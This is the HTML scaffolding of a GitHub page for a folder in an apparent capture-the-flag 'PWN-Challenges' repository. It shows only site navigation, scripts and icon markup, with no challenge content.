<meta name="octolytics-dimension-user_id" content="55344638" /><meta name="octolytics-dimension-user_login" content="vital-information-resource-under-siege" /><meta name="octolytics-dimension-repository_id" content="334582086" /><meta name="octolytics-dimension-repository_nwo" content="vital-information-resource-under-siege/PWN-Challenges" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="334582086" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vital-information-resource-under-siege/PWN-Challenges" />
<link rel="canonical" href="https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/once_and_for_all" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="334582086" data-scoped-search-url="/vital-information-resource-under-siege/PWN-Challenges/search" data-owner-scoped-search-url="/users/vital-information-resource-under-siege/search" data-unscoped-search-url="/search" data-turbo="false" action="/vital-information-resource-under-siege/PWN-Challenges/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="SbnuYeVhQUFJhtHru8M7sqb79dpZA9AxWOSGawb2SvIt3+fU/kOesCvUahZaBbnST3Gqe8K1QiDoC19xXNIftw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 